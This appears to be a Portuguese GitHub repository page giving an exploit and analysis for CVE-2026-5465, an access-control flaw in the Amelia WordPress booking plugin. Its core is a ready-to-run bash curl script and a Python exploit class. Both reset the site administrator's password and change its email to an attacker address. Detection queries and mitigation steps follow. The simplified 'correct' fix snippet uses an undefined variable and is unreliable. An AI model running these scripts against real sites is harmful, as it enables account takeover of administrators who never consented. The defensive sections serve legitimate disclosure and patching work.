kaleth4/cve-2026-5465Exploit e análise para CVE-2026-5465, um IDOR no plugin Amelia para WordPress que permite que o papel de Provedor autenticado aumente privilégios e realize a tomada de conta via referência direta insegura a objeto.
Vulnerabilidade crítica de Referência Direta Insegura a Objetos (IDOR) no plugin Amelia que permite a um usuário autenticado com papel de Funcionário (Provider) escalar privilégios até a tomada de controle total (Account Takeover) do site WordPress, incluindo acesso administrativo.
| Atributo | Valor |
|---|---|
| CVE ID | CVE-2026-5465 |
| Software | Amelia – Appointment Booking Calendar |
| Versões Afetadas | ≤ 2.1.3 |
| Versão Corrigida | ≥ 2.2.0 |
| Tipo | Insecure Direct Object References (IDOR) / Broken Access Control |
| Vetor | Rede (Autenticado) |
| Complexidade | Baixa |
| Impacto | Crítico (Account Takeover) |
| CVSS v3.1 | 8.8 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-639 (Authorization Bypass) |
A falha reside na classe UpdateProviderCommandHandler que processa atualizações de perfil de provedor.
Fluxo vulnerável:
1. Usuário autenticado como "Provider" (Funcionário)
↓
2. Envia solicitação POST ao endpoint de atualização
{
"externalId": 1, // ID do admin (não do atacante)
"firstName": "Admin Hackeado",
"email": "[email protected]",
"password": "nova_senha"
}
↓
3. Sistema NÃO valida se 'externalId' pertence ao usuário atual
↓
4. Utiliza wp_set_password(externalId, new_password)
↓
5. Senha do admin alterada → Account Takeover
Ausência de validação de propriedade (Ownership Check) antes de processar dados sensíveis:
// CÓDIGO VULNERÁVEL (Simplificado)
public function updateProvider($providerId, $data) {
// ❌ NÃO verifica se providerId == usuário_atual
$provider = Provider::find($providerId);
// Executa diretamente sem validação
wp_set_password($data['password'], $provider->wp_user_id);
}
// CÓDIGO CORRETO
public function updateProvider($providerId, $data) {
// ✅ Verifica propriedade
if ($providerId !== current_user_id()) {
throw new UnauthorizedException();
}
wp_set_password($data['password'], $provider->wp_user_id);
}
| Parâmetro | Tipo | Impacto |
|---|---|---|
externalId | Integer | Troca de identidade (IDOR core) |
password | String | Modificação de senha |
email | Roubo de sessão se for redefinido | |
firstName, lastName | String | Alteração de dados não crítica |
#!/bin/bash
TARGET="https://exemplo.com"
PROVIDER_TOKEN="token_autenticado_do_provider"
ADMIN_ID=1
# Obter NONCE de segurança (se existir)
NONCE=$(curl -s "$TARGET/wp-admin/" | grep -oP '_wpnonce[^"]*' | head -1)
# Executar atualização maliciosa
curl -X POST "$TARGET/wp-json/amelia/v1/providers/$ADMIN_ID" \
-H "Authorization: Bearer $PROVIDER_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"externalId": 1,
"password": "Compromised123!",
"email": "[email protected]"
}'
echo "[+] Se a resposta for 200, o admin foi comprometido"
import requests
import json
class AmeliaExploit:
def __init__(self, target_url, provider_token):
self.target = target_url.rstrip('/')
self.headers = {
'Authorization': f'Bearer {provider_token}',
'Content-Type': 'application/json'
}
def exploit_account_takeover(self, target_user_id=1, new_password="Pwned123!"):
"""Explora IDOR para alterar senha do admin"""
endpoint = f"{self.target}/wp-json/amelia/v1/providers/{target_user_id}"
payload = {
"externalId": target_user_id,
"password": new_password,
"email": f"pwned_{target_user_id}@attacker.com"
}
try:
response = requests.post(
endpoint,
headers=self.headers,
json=payload,
timeout=10
)
if response.status_code == 200:
print(f"[✓] EXPLORADO: Usuário {target_user_id} comprometido")
print(f"[*] Nova senha: {new_password}")
return True
else:
print(f"[✗] Falha: {response.status_code} - {response.text}")
return False
except Exception as e:
print(f"[!] Erro de conexão: {e}")
return False
# Uso
if __name__ == "__main__":
exploit = AmeliaExploit(
target_url="https://exemplo.com",
provider_token="eyJ0eXAiOiJKV1QiLCJhbGc..."
)
exploit.exploit_account_takeover(target_user_id=1)
WordPress Audit Log (se instalado):
Usuário: [Provider ID]
Ação: User Password Changed
Usuário Afetado: Administrator
Timestamp: [Hora suspeita]
Logs de Servidor (Apache/Nginx):
POST /wp-json/amelia/v1/providers/1 HTTP/1.1
Authorization: Bearer [token]
Content-Length: [alta]
→ Resposta 200 OK
Banco de Dados WordPress:
-- Alterações de senha não autorizadas
SELECT ID, user_login, user_registered, user_pass
FROM wp_users
WHERE ID = 1
ORDER BY ID DESC LIMIT 1;
-- Alterações de email suspeitas
SELECT user_email, user_login, user_registered
FROM wp_users
WHERE user_login = 'administrator'
ORDER BY ID DESC;
/wp-json/amelia/v1/providers/# Via Painel Administrativo WordPress
1. Ir em: Plugins > Plugins Instalados
2. Buscar: "Amelia"
3. Clicar: "Atualizar agora"
4. Versão mínima segura: 2.2.0+
# Via WP-CLI
wp plugin update amelia --allow-root
# Via WP-CLI
wp plugin deactivate amelia --allow-root
# Via FTP/SFTP
Renomear: /wp-content/plugins/amelia/ → /wp-content/plugins/amelia-DISABLED/
Nginx (nginx.conf):
location ~ /wp-json/amelia/v1/providers/ {
# Permitir apenas GETs
if ($request_method = POST) {
return 403;
}
}
Apache (.htaccess):
<FilesMatch "amelia.*providers">
<LimitExcept GET HEAD>
Require all denied
</LimitExcept>
</FilesMatch>
Se o site já foi explorado:
-- Alterar senha do admin via CLI
wp user list --role=administrator --field=ID
wp user update [ADMIN_ID] --prompt=user_pass
SELECT * FROM wp_users WHERE user_registered > DATE_SUB(NOW(), INTERVAL 7 DAY);
SELECT * FROM wp_users WHERE ID = 1;
# Instalar e revisar plugin: WP Session Manager
wp plugin install wp-session-manager --allow-root
wp plugin activate wp-session-manager --allow-root
// Em wp-config.php, regenerar:
define('AUTH_KEY', 'PUT_YOUR_UNIQUE_PHRASE_HERE');
define('SECURE_AUTH_KEY', 'PUT_YOUR_UNIQUE_PHRASE_HERE');
define('LOGGED_IN_KEY', 'PUT_YOUR_UNIQUE_PHRASE_HERE');
define('NONCE_KEY', 'PUT_YOUR_UNIQUE_PHRASE_HERE');